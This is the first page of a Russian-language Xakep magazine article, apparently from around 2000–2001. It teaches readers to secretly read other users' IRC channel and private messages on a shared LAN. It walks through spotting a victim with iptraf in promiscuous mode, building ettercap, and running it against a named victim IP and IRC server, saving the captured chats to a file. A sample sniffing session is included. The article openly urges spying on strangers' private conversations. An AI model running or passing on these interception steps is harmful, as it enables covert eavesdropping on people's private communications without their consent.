ЖУРНАЛ ХАКЕР

Смотрим в IRC-ишные приваты. Несложный способ взлома IRC

Xakep, номер #035, стр. 035-044-1


Andrushock (andrushock@fromru.com)

Здрям, уважаемый! Ты. наконец-то, поимел неограниченный доступ в iNet, качаешь варез гектаробайтами и сидишь в IRC. Ты, несомненно, крут. Но в ирке с тобой никто не разговаривает, а если и кто-то и пискнет, то кроме «ку ку re ку» ничего услышать нельзя, все сидят как боты недопатченные. Этому есть три объяснения: либо чел занят (ушел), либо боится показаться ламаком и поэтому молчит, либо ведет приватные беседы. Вот третий вариант особенно бесит :). Очень хочется посмотреть, с кем и о чем это они там болтают. А со временем появляется желание вклиниваться в их беседу. Окейно, давай так и поступим. Но хочу сразу умерить твой ][акорский пыл - все нижеописанное прокатит, если ты с жертвами будешь сидеть в одном сегменте сети (идеал: в одной локалке), также необходим линух (по крайней мере, я все тестил на нем) с привилегиями суперюзера.

Ищем жертву

Для этого лучше воспользоваться прогой iptraf, которая позволяет просматривать все текущие соединения в твоей сети, ставя сетевой интерфейс в неразборчивый режим, в котором ты начинаешь получать все проходящие пакеты в сети, вне зависимости от того, какому узлу они предназначены.

Берем здесь: ftp://ftp.cebu.mozcom.com/pub/linux/net/iptraf-2.5.0.tar.gz

Ставим, запускаем и ждем, пока жертва в твоей сетке полезет в ирку. Ага, попался черт с айпишником 192.168.5.23 ;). Его и будем мучить...

Смотрим в каналы, на которых нас нет

Для этого нам понадобится сниффер ettercap. Берез здесь: http://ettercap.sourceforge.net/download/ettercap-0.5.4.tar.gz

Установка стандартная:

tar zxvf ettercap-0.5.4.tar.gz

Переходим в созданный каталог и:

./configure

make

make install

И для плагинов:

make plug-ins

make plug-ins_install

Если все прошло без ошибок (а так и должно быть, если ты не правил под себя компилер ;), запускаем.

Вид записи:

<путь к снифферу> <параметры> <IP-адрес сервака с запущенным ircd> <порт сервака с запущенным ircd> <IP-адрес жертвы>

У меня это выглядит так:

/usr/local/ettercap/bin/ettercap -zds 62.16.82.19:6667 192.168.5.23

Где параметры означают:

-z - запускать сниффер в спокойном режиме;

-d - не резолвить имена;

-s - использовать IP-based sniffing

Скриншот, правда, немного забедился ;).

Все, жмем на активном соединении на «Enter» и читаем, о чем там чел базарит. В правом окне мессаги, которые постит жертва, в левом - собеседников.

Смотрим в приваты

Для этого необходимо использовать те же опции сниффера, но для удобства просмотра мы все мессаги будем автоматом кидать в файло:

/usr/local/ettercap/bin/ettercap -Nzds 62.16.82.19:6667 192.168.5.23 > /root/sniff.irc

Параметр -N запускает сниффер без псевдографического интерфейса.

Привожу «текстовый скриншот» привата TeaRDroP и iDima (TeaRDroP - наша жертва):

ettercap 0.5.4 (c) 2001 ALoR & NaGA

Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0

Press 'h' for help...

Sniffing (IP based): 192.168.5.23:0 <--> 62.16.82.19:6667

<... поскипано ...>

16:12:15 192.168.5.23:2112 --> 62.16.82.19:6667

16:12:42 192.168.5.23:2112 --> 62.16.82.19:6667

Содержание  Вперед на стр. 035-044-2

Copyright Gameland Publishing 1999-2000 ©